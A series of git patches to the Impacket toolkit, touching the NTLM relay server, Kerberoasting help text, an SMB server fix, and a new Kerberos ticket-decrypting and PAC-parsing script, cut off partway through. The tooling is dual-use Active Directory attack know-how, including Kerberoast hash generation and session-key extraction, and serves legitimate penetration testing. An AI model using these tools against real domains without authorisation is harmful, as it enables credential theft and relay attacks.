From 9c8f344bb77a06b8684ae3d944493f667acc5a4a Mon Sep 17 00:00:00 2001 From: Brendan Scarvell Date: Thu, 21 Sep 2023 15:07:54 +1000 Subject: [PATCH 01/13] Updated the help information for -outputfile to be consistent with -save with it enabling -request (if previously omitted). (#1607) --- examples/GetUserSPNs.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/examples/GetUserSPNs.py b/examples/GetUserSPNs.py index 4d8efa6e7f..72427fa01b 100755 --- a/examples/GetUserSPNs.py +++ b/examples/GetUserSPNs.py @@ -476,8 +476,8 @@ def request_multiple_TGSs(self, usernames): parser.add_argument('-save', action='store_true', default=False, help='Saves TGS requested to disk. Format is ' '.ccache. Auto selects -request') parser.add_argument('-outputfile', action='store', - help='Output filename to write ciphers in JtR/hashcat format') - parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output') + help='Output filename to write ciphers in JtR/hashcat format. Auto selects -request') + parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output.') parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON') group = parser.add_argument_group('authentication') From 06217f05889144978a2f52c60490f67e294ad03d Mon Sep 17 00:00:00 2001 From: Erik Geiser <70747329+rtpt-erikgeiser@users.noreply.github.com> Date: Thu, 28 Sep 2023 22:32:59 +0200 Subject: [PATCH 02/13] Merge pull request #1602 from rtpt-erikgeiser:ntlmrelayx_log_initial_authentication --- .../ntlmrelayx/servers/smbrelayserver.py | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py index 857cc2177e..9e02b2ea17 100644 --- a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py @@ -44,6 +44,16 @@ from impacket.smbserver import getFileTime, decodeSMBString, encodeSMBString from impacket.smb3structs import SMB2Error +def auth_callback(smbServer, connData, domain_name, user_name, host_name): + user = user_name + if domain_name: + user = domain_name + "/" + user_name + if not user: + user = "unknown" + + LOG.info(f"Received connection from {user} at {host_name}, connection will be relayed after re-authentication") + + class SMBRelayServer(Thread): def __init__(self,config): Thread.__init__(self) @@ -58,7 +68,7 @@ def __init__(self,config): #Username we auth as gets stored here later self.authUser = None self.proxyTranslator = None - + # Here we write a mini config for the server smbConfig = ConfigParser.ConfigParser() @@ -100,6 +110,8 @@ def __init__(self,config): smbport = 445 self.server = SMBSERVER((config.interfaceIp,smbport), config_parser = smbConfig) + if not self.config.disableMulti: + self.server.setAuthCallback(auth_callback) logging.getLogger('impacket.smbserver').setLevel(logging.CRITICAL) self.server.processConfigFile() @@ -166,7 +178,7 @@ def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False): respPacket['TreeID'] = 0 respSMBCommand = smb3.SMB2Negotiate_Response() - + # Just for the Nego Packet, then disable it respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED From 88cbbcc9299859ce580fcd87ea6fbfbd49e64b1b Mon Sep 17 00:00:00 2001 From: robin nanola Date: Thu, 5 Oct 2023 06:19:50 +0800 Subject: [PATCH 03/13] =?UTF-8?q?returns=20STATUS=5FDIRECTORY=5FNOT=5FEMPT?= =?UTF-8?q?Y=20when=20we=20try=20to=20tag=20a=20non-empty=20fol=E2=80=A6?= =?UTF-8?q?=20(#1586)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * returns STATUS_DIRECTORY_NOT_EMPTY when we try to tag a non-empty folder for deletion * remove duplicate imports --------- Co-authored-by: robn-applaton --- impacket/smbserver.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/impacket/smbserver.py b/impacket/smbserver.py index 7ac7a71f16..5742cd765c 100644 --- a/impacket/smbserver.py +++ b/impacket/smbserver.py @@ -3437,8 +3437,11 @@ def smb2SetInfo(connId, smbServer, recvPacket): if informationLevel == smb2.SMB2_FILE_DISPOSITION_INFO: infoRecord = smb.SMBSetFileDispositionInfo(setInfo['Buffer']) if infoRecord['DeletePending'] > 0: - # Mark this file for removal after closed - connData['OpenedFiles'][fileID]['DeleteOnClose'] = True + if os.path.isdir(pathName) and os.listdir(pathName): + errorCode = STATUS_DIRECTORY_NOT_EMPTY + else: + # Mark this file for removal after closed + connData['OpenedFiles'][fileID]['DeleteOnClose'] = True elif informationLevel == smb2.SMB2_FILE_BASIC_INFO: infoRecord = smb.SMBSetFileBasicInfo(setInfo['Buffer']) # Creation time won't be set, the other ones we play with. From 3aa037d9d914eff817f65610c9c3767c90b61de0 Mon Sep 17 00:00:00 2001 From: Cyber Celt <33097451+Cyb3rC3lt@users.noreply.github.com> Date: Wed, 4 Oct 2023 23:20:09 +0100 Subject: [PATCH 04/13] Update net.py (#1616) Fixed the join and unjoin text as it was the wrong way around --- examples/net.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/examples/net.py b/examples/net.py index 2ed61a1da0..e2f5e50129 100644 --- a/examples/net.py +++ b/examples/net.py @@ -357,12 +357,12 @@ def run(self, remoteName, remoteHost): print("[+] {} account deleted succesfully!".format(self.__action)) elif self.__is_option_present(self.__options, 'join'): - print("[*] Adding user account '{}' to group '{}'".format(self.__options.name, self.__options.join)) + print("[*] Adding user account '{}' to group '{}'".format(self.__options.join,self.__options.name)) actionObject.Join(self.__options.name, self.__options.join) print("[+] User account added to {} succesfully!".format(self.__options.name)) elif self.__is_option_present(self.__options, 'unjoin'): - print("[*] Removing user account '{}' from group '{}'".format(self.__options.name, self.__options.unjoin)) + print("[*] Removing user account '{}' from group '{}'".format(self.__options.unjoin,self.__options.name)) actionObject.UnJoin(self.__options.name, self.__options.unjoin) print("[+] User account removed from {} succesfully!".format(self.__options.name)) From 57a3e0908e18852c73f4ec90b59dc5f9d48d0f87 Mon Sep 17 00:00:00 2001 From: Charlie Bromberg <40902872+ShutdownRepo@users.noreply.github.com> Date: Thu, 5 Oct 2023 00:23:16 +0200 Subject: [PATCH 05/13] [describeTicket.py] New example script: ticket describer and decrypter (#1201) * Adding describeTicket base * Started implementing Ticket decryption * Update describeTicket.py * Added PAC structures * Improved PAC parsing and printing * Fixing the PAC_CLIENT_INFO structure * Fixes dates, improved errors, prepared for PR * Added PAC Credentials structure, improved code * Reverting getST edit * Cleaning imports and overall code * Reverting ALL getST changes, wrong dev branch * Debugging some keys calculation * Adding ticket decoding and improving parsing * Added expired flag to endtime and renewtill times * Reverting change to pac.py that was failing ticketer.py * Reverting change to pac.py (forgot smth) * fixed error fixed error: local variable 'kerberoast_hash' referenced before assignment * Handling missing kvno * Fixing debug message * Fixing SID and UAC flags parsing * add PAC_REQUESTOR and PAC_ATTRIBUTES_INFO * Temporary fix RPC_SID faulty implem with LDAP_SID * Complete UPN_DNS_INFO implementation with S Flag data * Split UPN_DNS struct * Handle null constructor * Add multiline print for data array + Add a corresponding table for well-kwonw group Id * Add more well-known SID * Change default type behavior * Add Groups decoded field * Add credit * Printing ticket session key * Re-adding attributes and requestor PAC constants --------- Co-authored-by: Podalirius <79218792+p0dalirius@users.noreply.github.com> Co-authored-by: p0dalirius Co-authored-by: wqreytuk <48377190+wqreytuk@users.noreply.github.com> Co-authored-by: Dramelac --- examples/describeTicket.py | 796 +++++++++++++++++++++++++++++++++++++ 1 file changed, 796 insertions(+) create mode 100755 examples/describeTicket.py diff --git a/examples/describeTicket.py b/examples/describeTicket.py new file mode 100755 index 0000000000..8fcebb430a --- /dev/null +++ b/examples/describeTicket.py @@ -0,0 +1,796 @@ +#!/usr/bin/env python3 +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# Ticket describer. Parses ticket, decrypts the enc-part, and parses the PAC. +# +# Authors: +# Remi Gascou (@podalirius_) +# Charlie Bromberg (@_nwodtuhs) +# Mathieu Calemard du Gardin (@Dramelac_) + +import logging +import sys +import traceback +import argparse +import datetime +import base64 +from typing import Sequence + +from Cryptodome.Hash import MD4 +from enum import Enum +from binascii import unhexlify, hexlify +from pyasn1.codec.der import decoder + +from impacket import version +from impacket.dcerpc.v5.dtypes import FILETIME, PRPC_SID +from impacket.dcerpc.v5.rpcrt import TypeSerialization1 +from impacket.examples import logger +from impacket.krb5 import constants, pac +from impacket.krb5.asn1 import TGS_REP, EncTicketPart, AD_IF_RELEVANT +from impacket.krb5.ccache import CCache +from impacket.krb5.constants import ChecksumTypes +from impacket.krb5.crypto import Key, _enctype_table, InvalidChecksum, string_to_key +from impacket.ldap.ldaptypes import LDAP_SID + +PSID = PRPC_SID + +class User_Flags(Enum): + LOGON_EXTRA_SIDS = 0x0020 + LOGON_RESOURCE_GROUPS = 0x0200 + +# 2.2.1.10 SE_GROUP Attributes +class SE_GROUP_Attributes(Enum): + SE_GROUP_MANDATORY = 0x00000001 + SE_GROUP_ENABLED_BY_DEFAULT = 0x00000002 + SE_GROUP_ENABLED = 0x00000004 + +# 2.2.1.12 USER_ACCOUNT Codes +class USER_ACCOUNT_Codes(Enum): + USER_ACCOUNT_DISABLED = 0x00000001 + USER_HOME_DIRECTORY_REQUIRED = 0x00000002 + USER_PASSWORD_NOT_REQUIRED = 0x00000004 + USER_TEMP_DUPLICATE_ACCOUNT = 0x00000008 + USER_NORMAL_ACCOUNT = 0x00000010 + USER_MNS_LOGON_ACCOUNT = 0x00000020 + USER_INTERDOMAIN_TRUST_ACCOUNT = 0x00000040 + USER_WORKSTATION_TRUST_ACCOUNT = 0x00000080 + USER_SERVER_TRUST_ACCOUNT = 0x00000100 + USER_DONT_EXPIRE_PASSWORD = 0x00000200 + USER_ACCOUNT_AUTO_LOCKED = 0x00000400 + USER_ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0x00000800 + USER_SMARTCARD_REQUIRED = 0x00001000 + USER_TRUSTED_FOR_DELEGATION = 0x00002000 + USER_NOT_DELEGATED = 0x00004000 + USER_USE_DES_KEY_ONLY = 0x00008000 + USER_DONT_REQUIRE_PREAUTH = 0x00010000 + USER_PASSWORD_EXPIRED = 0x00020000 + USER_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x00040000 + USER_NO_AUTH_DATA_REQUIRED = 0x00080000 + USER_PARTIAL_SECRETS_ACCOUNT = 0x00100000 + USER_USE_AES_KEYS = 0x00200000 + +# 2.2.1.13 UF_FLAG Codes +class UF_FLAG_Codes(Enum): + UF_SCRIPT = 0x00000001 + UF_ACCOUNTDISABLE = 0x00000002 + UF_HOMEDIR_REQUIRED = 0x00000008 + UF_LOCKOUT = 0x00000010 + UF_PASSWD_NOTREQD = 0x00000020 + UF_PASSWD_CANT_CHANGE = 0x00000040 + UF_ENCRYPTED_TEXT_PASSWORD_ALLOWED = 0x00000080 + UF_TEMP_DUPLICATE_ACCOUNT = 0x00000100 + UF_NORMAL_ACCOUNT = 0x00000200 + UF_INTERDOMAIN_TRUST_ACCOUNT = 0x00000800 + UF_WORKSTATION_TRUST_ACCOUNT = 0x00001000 + UF_SERVER_TRUST_ACCOUNT = 0x00002000 + UF_DONT_EXPIRE_PASSWD = 0x00010000 + UF_MNS_LOGON_ACCOUNT = 0x00020000 + UF_SMARTCARD_REQUIRED = 0x00040000 + UF_TRUSTED_FOR_DELEGATION = 0x00080000 + UF_NOT_DELEGATED = 0x00100000 + UF_USE_DES_KEY_ONLY = 0x00200000 + UF_DONT_REQUIRE_PREAUTH = 0x00400000 + UF_PASSWORD_EXPIRED = 0x00800000 + UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION = 0x01000000 + UF_NO_AUTH_DATA_REQUIRED = 0x02000000 + UF_PARTIAL_SECRETS_ACCOUNT = 0x04000000 + UF_USE_AES_KEYS = 0x08000000 + +# PAC_ATTRIBUTES_INFO Flags code +class Upn_Dns_Flags(Enum): + U_UsernameOnly = 0x00000001 + S_SidSamSupplied = 0x00000002 + +# PAC_ATTRIBUTES_INFO Flags code +class Attributes_Flags(Enum): + PAC_WAS_REQUESTED = 0x00000001 + PAC_WAS_GIVEN_IMPLICITLY = 0x00000002 + + +# Builtin known Windows Group +MsBuiltInGroups = { + "498": "Enterprise Read-Only Domain Controllers", + "512": "Domain Admins", + "513": "Domain Users", + "514": "Domain Guests", + "515": "Domain Computers", + "516": "Domain Controllers", + "517": "Cert Publishers", + "518": "Schema Admins", + "519": "Enterprise Admins", + "520": "Group Policy Creator Owners", + "521": "Read-Only Domain Controllers", + "522": "Cloneable Controllers", + "525": "Protected Users", + "526": "Key Admins", + "527": "Enterprise Key Admins", + "553": "RAS and IAS Servers", + "571": "Allowed RODC Password Replication Group", + "572": "Denied RODC Password Replication Group", + "S-1-1-0": "Everyone", + "S-1-2-0": "Local", + "S-1-2-1": "Console Logon", + "S-1-3-0": "Creator Owner", + "S-1-3-1": "Creator Group", + "S-1-3-2": "Owner Server", + "S-1-3-3": "Group Server", + "S-1-3-4": "Owner Rights", + "S-1-5-1": "Dialup", + "S-1-5-2": "Network", + "S-1-5-3": "Batch", + "S-1-5-4": "Interactive", + "S-1-5-6": "Service", + "S-1-5-7": "Anonymous Logon", + "S-1-5-8": "Proxy", + "S-1-5-9": "Enterprise Domain Controllers", + "S-1-5-10": "Self", + "S-1-5-11": "Authenticated Users", + "S-1-5-12": "Restricted Code", + "S-1-5-13": "Terminal Server User", + "S-1-5-14": "Remote Interactive Logon", + "S-1-5-15": "This Organization", + "S-1-5-17": "IUSR", + "S-1-5-18": "System (or LocalSystem)", + "S-1-5-19": "NT Authority (LocalService)", + "S-1-5-20": "Network Service", + "S-1-5-32-544": "Administrators", + "S-1-5-32-545": "Users", + "S-1-5-32-546": "Guests", + "S-1-5-32-547": "Power Users", + "S-1-5-32-548": "Account Operators", + "S-1-5-32-549": "Server Operators", + "S-1-5-32-550": "Print Operators", + "S-1-5-32-551": "Backup Operators", + "S-1-5-32-552": "Replicators", + "S-1-5-32-554": "Builtin\\Pre-Windows", + "S-1-5-32-555": "Builtin\\Remote Desktop Users", + "S-1-5-32-556": "Builtin\\Network Configuration Operators", + "S-1-5-32-557": "Builtin\\Incoming Forest Trust Builders", + "S-1-5-32-558": "Builtin\\Performance Monitor Users", + "S-1-5-32-559": "Builtin\\Performance Log Users", + "S-1-5-32-560": "Builtin\\Windows Authorization Access Group", + "S-1-5-32-561": "Builtin\\Terminal Server License Servers", + "S-1-5-32-562": "Builtin\\Distributed COM Users", + "S-1-5-32-568": "Builtin\\IIS_IUSRS", + "S-1-5-32-569": "Builtin\\Cryptographic Operators", + "S-1-5-32-573": "Builtin\\Event Log Readers", + "S-1-5-32-574": "Builtin\\Certificate Service DCOM Access", + "S-1-5-32-575": "Builtin\\RDS Remote Access Servers", + "S-1-5-32-576": "Builtin\\RDS Endpoint Servers", + "S-1-5-32-577": "Builtin\\RDS Management Servers", + "S-1-5-32-578": "Builtin\\Hyper-V Administrators", + "S-1-5-32-579": "Builtin\\Access Control Assistance Operators", + "S-1-5-32-580": "Builtin\\Remote Management Users", + "S-1-5-64-10": "NTLM Authentication", + "S-1-5-64-14": "SChannel Authentication", + "S-1-5-64-21": "Digest Authentication", + "S-1-5-80": "NT Service", + "S-1-5-80-0": "All Services", + "S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines", + "S-1-5-113": "Local Account", + "S-1-5-114": "Local Account and member of Administrators group", + "S-1-5-1000": "Other Organization", + "S-1-15-2-1": "All app packages", + "S-1-16-0": "ML Untrusted", + "S-1-16-4096": "ML Low", + "S-1-16-8192": "ML Medium", + "S-1-16-8448": "ML Medium Plus", + "S-1-16-12288": "ML High", + "S-1-16-16384": "ML System", + "S-1-16-20480": "ML Protected Process", + "S-1-16-28672": "ML Secure Process", + "S-1-18-1": "Authentication authority asserted identity", + "S-1-18-2": "Service asserted identity", + "S-1-18-3": "Fresh public key identity", + "S-1-18-4": "Key trust identity", + "S-1-18-5": "Key property MFA", + "S-1-18-6": "Key property attestation", +} + + +def parse_ccache(args): + ccache = CCache.loadFile(args.ticket) + + cred_number = 0 + logging.info('Number of credentials in cache: %d' % len(ccache.credentials)) + + for creds in ccache.credentials: + logging.info('Parsing credential[%d]:' % cred_number) + + rawTicket = creds.toTGS() + decodedTicket = decoder.decode(rawTicket['KDC_REP'], asn1Spec=TGS_REP())[0] + + # Printing the session key + sessionKey = hexlify(rawTicket['sessionKey'].contents).decode('utf-8') + logging.info("%-30s: %s" % ("Ticket Session Key", sessionKey)) + + # Beginning the parsing of the ticket + logging.info("%-30s: %s" % ("User Name", creds['client'].prettyPrint().split(b'@')[0].decode('utf-8'))) + logging.info("%-30s: %s" % ("User Realm", creds['client'].prettyPrint().split(b'@')[1].decode('utf-8'))) + spn = creds['server'].prettyPrint().split(b'@')[0].decode('utf-8') + logging.info("%-30s: %s" % ("Service Name", spn)) + logging.info("%-30s: %s" % ("Service Realm", creds['server'].prettyPrint().split(b'@')[1].decode('utf-8'))) + logging.info("%-30s: %s" % ("Start Time", datetime.datetime.fromtimestamp(creds['time']['starttime']).strftime("%d/%m/%Y %H:%M:%S %p"))) + if datetime.datetime.fromtimestamp(creds['time']['endtime']) < datetime.datetime.now(): + logging.info("%-30s: %s (expired)" % ("End Time", datetime.datetime.fromtimestamp(creds['time']['endtime']).strftime("%d/%m/%Y %H:%M:%S %p"))) + else: + logging.info("%-30s: %s" % ("End Time", datetime.datetime.fromtimestamp(creds['time']['endtime']).strftime("%d/%m/%Y %H:%M:%S %p"))) + if datetime.datetime.fromtimestamp(creds['time']['renew_till']) < datetime.datetime.now(): + logging.info("%-30s: %s (expired)" % ("RenewTill", datetime.datetime.fromtimestamp(creds['time']['renew_till']).strftime("%d/%m/%Y %H:%M:%S %p"))) + else: + logging.info("%-30s: %s" % ("RenewTill", datetime.datetime.fromtimestamp(creds['time']['renew_till']).strftime("%d/%m/%Y %H:%M:%S %p"))) + + flags = [] + for k in constants.TicketFlags: + if ((creds['tktflags'] >> (31 - k.value)) & 1) == 1: + flags.append(constants.TicketFlags(k.value).name) + logging.info("%-30s: (0x%x) %s" % ("Flags", creds['tktflags'], ", ".join(flags))) + keyType = constants.EncryptionTypes(creds["key"]["keytype"]).name + logging.info("%-30s: %s" % ("KeyType", keyType)) + logging.info("%-30s: %s" % ("Base64(key)", base64.b64encode(creds["key"]["keyvalue"]).decode("utf-8"))) + + if spn.split('/')[0] != 'krbtgt': + logging.debug("Attempting to create Kerberoast hash") + kerberoast_hash = None + # code adapted from Rubeus's DisplayTicket() (https://github.com/GhostPack/Rubeus/blob/3620814cd2c5f05e87cddd50211197bd932fec51/Rubeus/lib/LSA.cs) + # if this isn't a TGT, try to display a Kerberoastable hash + if keyType != "rc4_hmac" and keyType != "aes256_cts_hmac_sha1_96": + # can only display rc4_hmac ad it doesn't have a salt. DES/AES keys require the user/domain as a salt, and we don't have + # the user account name that backs the requested SPN for the ticket, no no dice :( + logging.debug("Service ticket uses encryption key type %s, unable to extract hash and salt" % keyType) + elif keyType == "rc4_hmac": + kerberoast_hash = kerberoast_from_ccache(decodedTGS = decodedTicket, spn = spn, username = args.user, domain = args.domain) + elif args.user: + if args.user.endswith("$"): + user = "host%s.%s" % (args.user.rstrip('$').lower(), args.domain.lower()) + else: + user = args.user + kerberoast_hash = kerberoast_from_ccache(decodedTGS = decodedTicket, spn = spn, username = user, domain = args.domain) + else: + logging.error("AES256 in use but no '-u/--user' passed, unable to generate crackable hash") + if kerberoast_hash: + logging.info("%-30s: %s" % ("Kerberoast hash", kerberoast_hash)) + + logging.info("%-30s:" % "Decoding unencrypted data in credential[%d]['ticket']" % cred_number) + spn = "/".join(list([str(sname_component) for sname_component in decodedTicket['ticket']['sname']['name-string']])) + etype = decodedTicket['ticket']['enc-part']['etype'] + logging.info(" %-28s: %s" % ("Service Name", spn)) + logging.info(" %-28s: %s" % ("Service Realm", decodedTicket['ticket']['realm'])) + logging.info(" %-28s: %s (etype %d)" % ("Encryption type", constants.EncryptionTypes(etype).name, etype)) + if not decodedTicket['ticket']['enc-part']['kvno'].isNoValue(): + logging.debug("No kvno in ticket, skipping") + logging.info(" %-28s: %d" % ("Key version number (kvno)", decodedTicket['ticket']['enc-part']['kvno'])) + logging.debug("Handling Kerberos keys") + ekeys = generate_kerberos_keys(args) + + # copypasta from krbrelayx.py + # Select the correct encryption key + try: + logging.debug('Ticket is encrypted with %s (etype %d)' % (constants.EncryptionTypes(etype).name, etype)) + key = ekeys[etype] + logging.debug('Using corresponding key: %s' % hexlify(key.contents).decode('utf-8')) + # This raises a KeyError (pun intended) if our key is not found + except KeyError: + if len(ekeys) > 0: + logging.error('Could not find the correct encryption key! Ticket is encrypted with %s (etype %d), but only keytype(s) %s were calculated/supplied', + constants.EncryptionTypes(etype).name, + etype, + ', '.join([str(enctype) for enctype in ekeys.keys()])) + else: + logging.error('Could not find the correct encryption key! Ticket is encrypted with %s (etype %d), but no keys/creds were supplied', + constants.EncryptionTypes(etype).name, + etype) + return None + + # todo : decodedTicket['ticket']['enc-part'] is handled. Handle decodedTicket['enc-part']? + # Recover plaintext info from ticket + try: + cipherText = decodedTicket['ticket']['enc-part']['cipher'] + newCipher = _enctype_table[int(etype)] + plainText = newCipher.decrypt(key, 2, cipherText) + except InvalidChecksum: + logging.error('Ciphertext integrity failed. Most likely the account password or AES key is incorrect') + if args.salt: + logging.info('Make sure the salt/username/domain are set and with the proper values. In case of a computer account, append a "$" to the name.') + logging.debug('Remember: the encrypted-part of the ticket is secured with one of the target service\'s Kerberos keys. The target service is the one who owns the \'Service Name\' SPN printed above') + return + + logging.debug('Ticket successfully decrypted') + encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] + sessionKey = Key(encTicketPart['key']['keytype'], bytes(encTicketPart['key']['keyvalue'])) + adIfRelevant = decoder.decode(encTicketPart['authorization-data'][0]['ad-data'], asn1Spec=AD_IF_RELEVANT())[0] + # So here we have the PAC + pacType = pac.PACTYPE(adIfRelevant[0]['ad-data'].asOctets()) + # parsing every PAC + parsed_pac = parse_pac(pacType, args) + logging.info("%-30s:" % "Decoding credential[%d]['ticket']['enc-part']" % cred_number) + # One section per PAC + for element_type in parsed_pac: + element_type_name = list(element_type.keys())[0] + logging.info(" %-28s" % element_type_name) + # iterate over each attribute of the current PAC + for attribute in element_type[element_type_name]: + value = element_type[element_type_name][attribute] + if isinstance(value, Sequence) and not isinstance(value, str): + # If the value is an array, print as a multiline view for better readability + if len(value) > 0: + logging.info(" %-26s: %s" % (attribute, value[0])) + for subvalue in value[1:]: + logging.info(" "*32+"%s" % subvalue) + else: + logging.info(" %-26s:" % attribute) + else: + logging.info(" %-26s: %s" % (attribute, value)) + + cred_number += 1 + + +def parse_pac(pacType, args): + def PACparseFILETIME(data): + # FILETIME structure (minwinbase.h) + # Contains a 64-bit value representing the number of 100-nanosecond intervals since January 1, 1601 (UTC). + # https://docs.microsoft.com/en-us/windows/win32/api/minwinbase/ns-minwinbase-filetime + dwLowDateTime = data['dwLowDateTime'] + dwHighDateTime = data['dwHighDateTime'] + v_FILETIME = "Infinity (absolute time)" + if dwLowDateTime != 0xffffffff and dwHighDateTime != 0x7fffffff: + temp_time = dwHighDateTime + temp_time <<= 32 + temp_time |= dwLowDateTime + if datetime.timedelta(microseconds=temp_time / 10).total_seconds() != 0: + v_FILETIME = (datetime.datetime(1601, 1, 1, 0, 0, 0) + datetime.timedelta(microseconds=temp_time / 10)).strftime("%d/%m/%Y %H:%M:%S %p") + return v_FILETIME + + + def PACparseGroupIds(data): + groups = [] + for group in data: + groupMembership = {} + groupMembership['RelativeId'] = group['RelativeId'] + groupMembership['Attributes'] = group['Attributes'] + groups.append(groupMembership) + return groups + + + parsed_tuPAC = [] + buff = pacType['Buffers'] + + for bufferN in range(pacType['cBuffers']): + infoBuffer = pac.PAC_INFO_BUFFER(buff) + data = pacType['Buffers'][infoBuffer['Offset']-8:][:infoBuffer['cbBufferSize']] + if infoBuffer['ulType'] == pac.PAC_LOGON_INFO: + type1 = TypeSerialization1(data) + newdata = data[len(type1)+4:] + kerbdata = pac.KERB_VALIDATION_INFO() + kerbdata.fromString(newdata) + kerbdata.fromStringReferents(newdata[len(kerbdata.getData()):]) + parsed_data = {} + parsed_data['Logon Time'] = PACparseFILETIME(kerbdata['LogonTime']) + parsed_data['Logoff Time'] = PACparseFILETIME(kerbdata['LogoffTime']) + parsed_data['Kickoff Time'] = PACparseFILETIME(kerbdata['KickOffTime']) + parsed_data['Password Last Set'] = PACparseFILETIME(kerbdata['PasswordLastSet']) + parsed_data['Password Can Change'] = PACparseFILETIME(kerbdata['PasswordCanChange']) + parsed_data['Password Must Change'] = PACparseFILETIME(kerbdata['PasswordMustChange']) + parsed_data['LastSuccessfulILogon'] = PACparseFILETIME(kerbdata['LastSuccessfulILogon']) + parsed_data['LastFailedILogon'] = PACparseFILETIME(kerbdata['LastFailedILogon']) + parsed_data['FailedILogonCount'] = kerbdata['FailedILogonCount'] + parsed_data['Account Name'] = kerbdata['EffectiveName'] + parsed_data['Full Name'] = kerbdata['FullName'] + parsed_data['Logon Script'] = kerbdata['LogonScript'] + parsed_data['Profile Path'] = kerbdata['ProfilePath'] + parsed_data['Home Dir'] = kerbdata['HomeDirectory'] + parsed_data['Dir Drive'] = kerbdata['HomeDirectoryDrive'] + parsed_data['Logon Count'] = kerbdata['LogonCount'] + parsed_data['Bad Password Count'] = kerbdata['BadPasswordCount'] + parsed_data['User RID'] = kerbdata['UserId'] + parsed_data['Group RID'] = kerbdata['PrimaryGroupId'] + parsed_data['Group Count'] = kerbdata['GroupCount'] + + all_groups_id = [str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata['GroupIds'])] + parsed_data['Groups'] = ", ".join(all_groups_id) + groups = [] + unknown_count = 0 + # Searching for common group name + for gid in all_groups_id: + group_name = MsBuiltInGroups.get(gid) + if group_name: + groups.append(f"({gid}) {group_name}") + else: + unknown_count += 1 + if unknown_count > 0: + groups.append(f"+{unknown_count} Unknown custom group{'s' if unknown_count > 1 else ''}") + parsed_data['Groups (decoded)'] = groups + + # UserFlags parsing + UserFlags = kerbdata['UserFlags'] + User_Flags_Flags = [] + for flag in User_Flags: + if UserFlags & flag.value: + User_Flags_Flags.append(flag.name) + parsed_data['User Flags'] = "(%s) %s" % (UserFlags, ", ".join(User_Flags_Flags)) + parsed_data['User Session Key'] = hexlify(kerbdata['UserSessionKey']).decode('utf-8') + parsed_data['Logon Server'] = kerbdata['LogonServer'] + parsed_data['Logon Domain Name'] = kerbdata['LogonDomainName'] + + # LogonDomainId parsing + if kerbdata['LogonDomainId'] == b'': + parsed_data['Logon Domain SID'] = kerbdata['LogonDomainId'] + else: + parsed_data['Logon Domain SID'] = kerbdata['LogonDomainId'].formatCanonical() + + # UserAccountControl parsing + UAC = kerbdata['UserAccountControl'] + UAC_Flags = [] + for flag in USER_ACCOUNT_Codes: + if UAC & flag.value: + UAC_Flags.append(flag.name) + parsed_data['User Account Control'] = "(%s) %s" % (UAC, ", ".join(UAC_Flags)) + parsed_data['Extra SID Count'] = kerbdata['SidCount'] + extraSids = [] + + # ExtraSids parsing + for extraSid in kerbdata['ExtraSids']: + sid = extraSid['Sid'].formatCanonical() + attributes = extraSid['Attributes'] + attributes_flags = [] + for flag in SE_GROUP_Attributes: + if attributes & flag.value: + attributes_flags.append(flag.name) + # Group name matching + group_name = MsBuiltInGroups.get(sid, '') + if not group_name and len(sid.split('-')) == 8: + # Try to find an RID match + group_name = MsBuiltInGroups.get(sid.split('-')[-1], '') + if group_name: + group_name = f" {group_name}" + extraSids.append("%s%s (%s)" % (sid, group_name, ', '.join(attributes_flags))) + parsed_data['Extra SIDs'] = extraSids + + # ResourceGroupDomainSid parsing + if kerbdata['ResourceGroupDomainSid'] == b'': + parsed_data['Resource Group Domain SID'] = kerbdata['ResourceGroupDomainSid'] + else: + parsed_data['Resource Group Domain SID'] = kerbdata['ResourceGroupDomainSid'].formatCanonical() + + parsed_data['Resource Group Count'] = kerbdata['ResourceGroupCount'] + parsed_data['Resource Group Ids'] = ', '.join([str(gid['RelativeId']) for gid in PACparseGroupIds(kerbdata['ResourceGroupIds'])]) + parsed_data['LMKey'] = hexlify(kerbdata['LMKey']).decode('utf-8') + parsed_data['SubAuthStatus'] = kerbdata['SubAuthStatus'] + parsed_data['Reserved3'] = kerbdata['Reserved3'] + parsed_tuPAC.append({"LoginInfo": parsed_data}) + + elif infoBuffer['ulType'] == pac.PAC_CLIENT_INFO_TYPE: + clientInfo = pac.PAC_CLIENT_INFO() + clientInfo.fromString(data) + parsed_data = {} + try: + parsed_data['Client Id'] = PACparseFILETIME(clientInfo['ClientId']) + except: + try: + parsed_data['Client Id'] = PACparseFILETIME(FILETIME(data[:32])) + except Exception as e: + logging.error(e) + parsed_data['Client Name'] = clientInfo['Name'].decode('utf-16-le') + parsed_tuPAC.append({"ClientName": parsed_data}) + + elif infoBuffer['ulType'] == pac.PAC_UPN_DNS_INFO: + upn = pac.UPN_DNS_INFO(data) + # UPN PArsing + UpnLength = upn['UpnLength'] + UpnOffset = upn['UpnOffset'] + UpnName = data[UpnOffset:UpnOffset+UpnLength].decode('utf-16-le') + + # DNS Name Parsing + DnsDomainNameLength = upn['DnsDomainNameLength'] + DnsDomainNameOffset = upn['DnsDomainNameOffset'] + DnsName = data[DnsDomainNameOffset:DnsDomainNameOffset + DnsDomainNameLength].decode('utf-16-le') + + # Flag parsing + flags = upn['Flags'] + attr_flags = [] + for flag_lib in Upn_Dns_Flags: + if flags & flag_lib.value: + attr_flags.append(flag_lib.name) + 